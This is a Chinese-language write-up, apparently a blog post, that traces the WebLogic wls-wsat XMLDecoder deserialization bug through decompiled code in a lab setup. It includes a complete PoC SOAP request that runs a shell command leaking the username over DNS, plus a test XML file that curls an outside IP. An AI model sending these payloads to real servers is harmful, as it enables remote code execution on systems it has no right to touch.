本文首发于:https://tttang.com/archive/1307/

这篇文章将会分析weblogic中xmldecoder引发的安全问题,如果发现有错误的地方,希望师傅们斧正。

环境搭建

1
2
3
4
5
6
7
8
$ cat docker-compose.yml
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "8453:8453"
- "7001:7001"

然后进入容器修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

1
2
3
4
5
if [ "${debugFlag}" = "true" ] ; then
JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE"
export JAVA_DEBUG
JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..."
export JAVA_OPTIONS

找到这个,在前面加上

1
2
debugFlag="true"
expport debugFlag

重启一下,然后远程调试使用的idea,我把本地调试的代码打包放到附件里,然后导入library然后remote即可。

漏洞分析

先看poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
Content-Type: text/xml
Content-Length: 916
Connection: close
Cookie: user=TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjg6InJlZ2lzdGVkIjtiOjA7czo3OiJjaGVja2VyIjtPOjI2OiJhcHBcd2ViXGNvbnRyb2xsZXJcUHJvZmlsZSI6NTp7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6MTI6ImZpbGVuYW1lX3RtcCI7czo3NjoidXBsb2FkLzhiMjY2MzEyMTljOGY4ZWNhYzUxYjkzNWNjODdjY2QxL2E3YzNjZTA3NjU4NTQ3Nzc0MWQ5NTFkMTc5YWIwN2RjLnBuZyI7czozOiJleHQiO2k6MTtzOjg6ImZpbGVuYW1lIjtzOjQ5OiJ1cGxvYWQvOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEvc2hlbGwucGhwIjtzOjExOiJ1cGxvYWRfbWVudSI7czozMjoiOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEiO319; hibext_instdsigdipv2=1
Upgrade-Insecure-Requests: 1
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/sh</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.xxx.xxx</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

先打上断点看下调用堆栈wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

我们直接从解析处入手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}
return super.processRequest(var1);
}

这个processRequest看起来是个处理xml的函数,在这里调试的时候我发现步入不进xml处理的方法,后来发现本地缺少com.sun.xml.ws这个包,然后我使用maven导入后还是步入不了,虽然不影响我们分析漏洞,但是弄明白怎么处理的对我们理解更有帮助,然后我选择直接看代码

跟进Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);hhhh手动跟进,没法动态跟,直接看代码吧

1
2
3
4
@Nullable
public Header get(@NotNull QName name, boolean markAsUnderstood) {
return this.get(name.getNamespaceURI(), name.getLocalPart(), markAsUnderstood);
}

因为里面有方法的重载,根据传入的参数类型以及个数可以看到是这样实现的,进入跟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
@NotNull
public Iterator<Header> getHeaders(@NotNull final String nsUri, @NotNull final String localName, final boolean markAsUnderstood) {
return new Iterator<Header>() {
int idx = 0;
Header next;
public boolean hasNext() {
if (this.next == null) {
this.fetch();
}
return this.next != null;
}
public Header next() {
if (this.next == null) {
this.fetch();
if (this.next == null) {
throw new NoSuchElementException();
}
}
if (markAsUnderstood) {
assert HeaderList.this.get(this.idx - 1) == this.next;
HeaderList.this.understood(this.idx - 1);
}
Header r = this.next;
this.next = null;
return r;
}
private void fetch() {
while(true) {
if (this.idx < HeaderList.this.size()) {
Header h = HeaderList.this.get(this.idx++);
if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) {
continue;
}
this.next = h;
}
return;
}
}
public void remove() {
throw new UnsupportedOperationException();
}
};
}

因为这里没有动态调,逻辑理解可能会有些偏差,根据代码

1
2
3
if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) {
continue;
}

可以分析出这里是获取了header,然后会将这部分代入this.readHeaderOld(var3);处理,跟进

wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextTube.class

这里将缓冲区中的剩余内容读取出来,跟入new WorkContextXmlInputAdapter

1
2
3
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1);
}

实例化了XMLDecoder对象,然后var6为实例化的WorkContextXmlInputAdapter对象

继续跟入this.receive(var6)

1
2
3
4
protected void receive(WorkContextInput var1) throws IOException {
WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
var2.receiveRequest(var1);
}

继续跟

1
2
3
public void receiveRequest(WorkContextInput var1) throws IOException {
((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
}

继续跟wlserver_10.3/server/lib/wlclient.jar!/weblogic/workarea/WorkContextLocalMap.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void receiveRequest(WorkContextInput var1) throws IOException {
while(true) {
try {
WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
if (var2 == WorkContextEntry.NULL_CONTEXT) {
return;
}
String var3 = var2.getName();
this.map.put(var3, var2);
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
}
} catch (ClassNotFoundException var4) {
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest : ", var4);
}
}
}
}

这里在readEntry(var1)对数据进行处理,往下走可以看到

1
2
3
4
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
}

看到了readUTF(),也就是一开始打断点的地方,跟入到

1
2
3
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}

这里我们知道$this->xmlDecoderXMLDecoder的对象,这里看一下poc是怎么执行的呢

本地写段简单的代码来理解一下

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.*;
import java.beans.XMLDecoder;
public class test{
public static String cmd;
public static void main(String args[]) throws Exception{
File file = new File("/Users/p0desta/Desktop/code/test/src/exp.xml");
XMLDecoder xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
System.out.println(new FileInputStream(file));
System.out.println(new BufferedInputStream(new FileInputStream(file)));
xd.readObject();
}
}

Exp.xml中的内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/sh</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://114.116.44.126/public/?a=a</string>
</void>
</array>
<void method="start"/>
</object>
</java>

跟入readObject看看实现的什么

1
2
3
4
5
public Object readObject() {
return (parsingComplete())
? this.array[this.index++]
: null;
}

跟进parsingComplete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean parsingComplete() {
if (this.input == null) {
return false;
}
if (this.array == null) {
if ((this.acc == null) && (null != System.getSecurityManager())) {
throw new SecurityException("AccessControlContext is not set");
}
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
XMLDecoder.this.handler.parse(XMLDecoder.this.input);
return null;
}
}, this.acc);
this.array = this.handler.getObjects();
}
return true;
}

可以看到是调用DocumentHandler.parse来处理输入,跟进看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void parse(final InputSource var1) {
if (this.acc == null && null != System.getSecurityManager()) {
throw new SecurityException("AccessControlContext is not set");
} else {
AccessControlContext var2 = AccessController.getContext();
SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
public Void run() {
try {
SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
} catch (ParserConfigurationException var3) {
DocumentHandler.this.handleException(var3);
} catch (SAXException var4) {
Object var2 = var4.getException();
if (var2 == null) {
var2 = var4;
}
DocumentHandler.this.handleException((Exception)var2);
} catch (IOException var5) {
DocumentHandler.this.handleException(var5);
}
return null;
}
}, var2, this.acc);
}
}

然后传进来的var1继续进入SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void parse(InputSource is, DefaultHandler dh)
throws SAXException, IOException {
if (is == null) {
throw new IllegalArgumentException();
}
if (dh != null) {
xmlReader.setContentHandler(dh);
xmlReader.setEntityResolver(dh);
xmlReader.setErrorHandler(dh);
xmlReader.setDTDHandler(dh);
xmlReader.setDocumentHandler(null);
}
xmlReader.parse(is);
}

重点关注xmlReader.parse(is);

1
2
3
4
5
6
7
8
9
10
11
public void parse(InputSource inputSource)
throws SAXException, IOException {
if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {
if (fSAXParser.fSchemaValidationManager != null) {
fSAXParser.fSchemaValidationManager.reset();
fSAXParser.fUnparsedEntityHandler.reset();
}
resetSchemaValidator();
}
super.parse(inputSource);
}

继续跟入父类的parse方法,往下走可以看到一系列处理xml的代码

跟到/rt.jar!/com/sun/beans/decoder/ElementHandler.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void endElement() {
ValueObject var1 = this.getValueObject();
if (!var1.isVoid()) {
if (this.id != null) {
this.owner.setVariable(this.id, var1.getValue());
}
if (this.isArgument()) {
if (this.parent != null) {
this.parent.addArgument(var1.getValue());
} else {
this.owner.addObject(var1.getValue());
}
}
}
}

在往下跟,会发现构造的poc里面的恶意字符会拼接起来

继续跟

跟到这里的时候var5.getValue里面有东西

1
2
3
4
5
6
public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());
}
return value;
}

反射调用了,整个调用链就是这样。

1
2
3
https://blog.csdn.net/SKI_12/article/details/85058040
http://whip1ash.cn/2018/10/21/weblogic-deserialization/
https://xz.aliyun.com/t/5046